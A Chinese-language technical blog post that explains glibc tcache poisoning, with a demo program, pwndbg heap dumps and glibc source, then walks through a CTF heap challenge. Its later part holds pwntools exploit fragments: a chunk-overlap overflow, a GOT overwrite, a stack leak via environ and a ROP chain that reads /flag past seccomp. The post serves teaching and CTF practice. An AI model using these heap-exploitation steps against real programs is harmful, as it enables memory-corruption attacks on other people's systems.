其他
原创 | 一文带你理解tcache缓存投毒
tcache结构分析
+----+ +------+ +------+
| 0 | -> | chunk| --> | chunk| --> NULL
+----+ +------+ +------+
| 1 | -> NULL
+----+
| 2 | -> | chunk| --> NULL
+----+ +------+
| .. |
+----+
| n | -> | chunk| --> | chunk| --> | chunk| --> NULL
+----+ +------+ +------+ +------+
了解tcache poisoning
size_t stack_var; // 目标投毒的地址
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);
free(b);
b[0] = (intptr_t)&stack_var; // tcache poisoning !
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权
连续申请两个chunk,再释放,此时释放的chunk进入到tcache管理起来
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);
free(b);
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555555593b0 (size : 0x20c50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体
根据上文提到的内存布局,相同大小的tcache 通过链表维护起来。修改指针指向(后面会分析),使得tcache链表的指针指向栈上的地址
size_t stack_var; // addr: 0x7fffffffe508
b[0] = (intptr_t)&stack_var;
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555555593b0 (size : 0x20c50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
申请一次tcache分配,此时获得是之前释放的b chunk,此时的tcache已经被
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555555593b0 (size : 0x20c50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
第二次申请tcache 分配,本来这里是获得之前的a chunk的,但是由于 tcache 的指向已经发生了变化,导致我们可以获得一次针对栈上的地址进行读写的机会
从源码层面分析tcache
tache的数据结构如下:
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
分配函数 tcache_get 找到对应的 tcache_entry 表项 取出链表的头节点返回 回收函数 tcache_put 将chunk强制转为 tcache_entry结构 头插法将其插入到对应的 tcache_entry 表项中
本质上是用链表实现了一个栈结构,FIFO
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]); // 对应的tcache数量减少1
return (void *) e;
}
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Convert a chunk address to a user mem pointer without correcting
the tag. */
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
例题分析
main函数
输入作者签名 调用secure_library 设置 seccomp write_book程序主要功能
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("Welcome to the library of hopes and dreams!");
puts("\nWe heard about your journey...");
puts("and we want you to share about your experiences!");
puts("\nWhat would you like your author signature to be?");
printf("> ");
LODWORD(author_signature) = ' yb';
__isoc99_scanf("%12s", (char *)&author_signature + 3);
puts("\nGreat! We would like you to write no more than 10 books :)");
puts("Please feel at home.");
secure_library();
write_books();
return puts("Goodbye!");
}
write_books
1337 能泄露出一次给定分配块的地址 1 新增一本书 2 编辑一本书 3 删除一本书
unsigned __int64 write_books()
{
int choice; // [rsp+0h] [rbp-10h] BYREF
int fav_num; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &choice);
getchar();
if ( choice != 1337 )
break;
if ( !secret_msg )
{
printf("What is your favourite number? ");
__isoc99_scanf("%d", &fav_num);
if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
secret_msg = 1;
}
LABEL_19:
puts("Invalid choice.");
}
if ( choice > 1337 )
goto LABEL_19;
if ( choice == 4 )
return v3 - __readfsqword(0x28u);
if ( choice > 4 )
goto LABEL_19;
switch ( choice )
{
case 3:
throw_book();
break;
case 1:
write_book();
break;
case 2:
rewrite_book();
break;
default:
goto LABEL_19;
}
}
}
write_book
unsigned __int64 write_book()
{
int idx2; // ebx
_QWORD *v1; // rcx
__int64 v2; // rdx
int idx; // [rsp+4h] [rbp-4Ch] BYREF
size_t size; // [rsp+8h] [rbp-48h]
char buf[32]; // [rsp+10h] [rbp-40h] BYREF
char v7; // [rsp+30h] [rbp-20h]
unsigned __int64 v8; // [rsp+38h] [rbp-18h]
v8 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to insert your book?");
printf("Index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
{
puts("Invaid slot!");
}
else
{
--idx; // 书架的编号
memset(buf, 0, sizeof(buf));
v7 = 0;
puts("Write me a book no more than 32 characters long!");
size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节
idx2 = idx;
slot[2 * idx2] = malloc(size);
memcpy(slot[2 * idx], buf, size - 0x10);
v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部
v2 = qword_4040D8;
*v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number
v1[1] = v2;
books[idx].size = size; // 这里存在问题,后续通过 books[idx].size 获取大小的时候要减掉0x10
puts("Your book has been published!\n");
}
return v8 - __readfsqword(0x28u);
}
rewrite_book 漏洞点
unsigned __int64 rewrite_book()
{
_QWORD *v0; // rcx
__int64 v1; // rdx
int idx; // [rsp+Ch] [rbp-14h] BYREF
ssize_t v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to rewrite your book?");
printf("Index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
{
--idx;
puts("Write me the new contents of your book that is no longer than what it was before.");
v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中
v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
v1 = qword_4040D8;
*v0 = author_signature;
v0[1] = v1;
puts("Your book has been rewritten!\n");
}
else
{
puts("Invaid slot!");
}
return v5 - __readfsqword(0x28u);
}
throw_book
unsigned __int64 throw_book()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("\nAt which index of the shelf would you like to throw your book?");
printf("Index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
{
free(slot[2 * --v1]);
slot[2 * v1] = 0LL;
puts("Your book has been thrown!\n");
}
else
{
puts("Invaid slot!");
}
return v2 - __readfsqword(0x28u);
解题思路分析
利用 tcache poisoning
首先必须要两个 tcache,参照前面的示例(需要有一个tcache来修改指针指向) 其次,我们不能直接改 chunk 指针(前面的示例是在源码呢所以可以直接改),所以还需要一个快来通过overlap来修改指针 最后,为了达到 overlap 的目的,前面还需要一个块,通过oob溢出来实现overlap
malloc chunk
chunk1 泄露heap base addr + oob覆盖chunk2 chunk2 修改 chunk3的next指针,实现 tcache poisoning chunk3 通过next指针获得一段可写的内存 chunk4 用作 0x40 tcache的填充
chunk1 oob to overlap
修改chunk1,oob修改chunk2的大小 释放chunk4,填充到0x40 tcache chunk2的大小被修改为0x40,和 chunk3 实现overlap 修改chunk2的内容,覆盖chunk3 的next指针
泄漏libc base
edit(1, pwn.flat([
# 1==
0xff, # sz
exe.sym.stdout, # target
# 2==
0x8, # sz
exe.got.free, # target
# 3==
0x8, # sz
exe.sym.secret_msg, # target
# 4==
0xff, # sz
exe.sym.books # target
] + [0] * 0x60, filler = b"\x00"))
pwndbg> x/40gx 0x4040e0
0x4040e0 <books>: 0x00000000000000ff 0x00000000004040a0
0x4040f0 <books+16>: 0x0000000000000008 0x0000000000404018
0x404100 <books+32>: 0x0000000000000008 0x00000000004040c0
0x404110 <books+48>: 0x00000000000000ff 0x00000000004040e0
0x404120 <books+64>: 0x0000000000000000 0x0000000000000000
0x404130 <books+80>: 0x0000000000000000 0x0000000000000000
0x404140 <books+96>: 0x0000000000000000 0x0000000000000000
0x404150 <books+112>: 0x0000000000000000 0x0000000000000000
0x404160 <books+128>: 0x0000000000000000 0x0000000000000000
0x404170 <books+144>: 0x0000000000000000 0x0000000000000000
第一本书的内存地址为 0x4040a0(实际上这个为 stdout 的got表) size 为 0xff 第二本书的内存地址为 0x404018(实际上这个为 free 的got表) size 为 0xff 第三本书的内存地址为 0x4040c0 (实际上为 secret_msg 的地址),size 为 0x8 第四本书的内存地址为 0x4040e0 (实际上我 sym.books 的地址,方便我们二次写入,size 为 0xff
# free@got => puts
edit(2, b"".join([
pwn.p64(exe.sym.puts)
]))
ROP绕过seccomp
# leak stack (environ)
edit(4, pwn.flat([
# 1==
0xff, # sz
libc.sym.environ # target
], filler = b"\x00"))
rop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframe
edit(4, pwn.flat([
# 1==
0xff, # sz
stackframe_rewrite # target
], filler = b"\x00"))
# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")
EXP调试
分配4个chunk
oob
# chunk2 => sz extended
edit(1, b"K"*0x20)
tcache poisoning
任意地址写
参考
往期推荐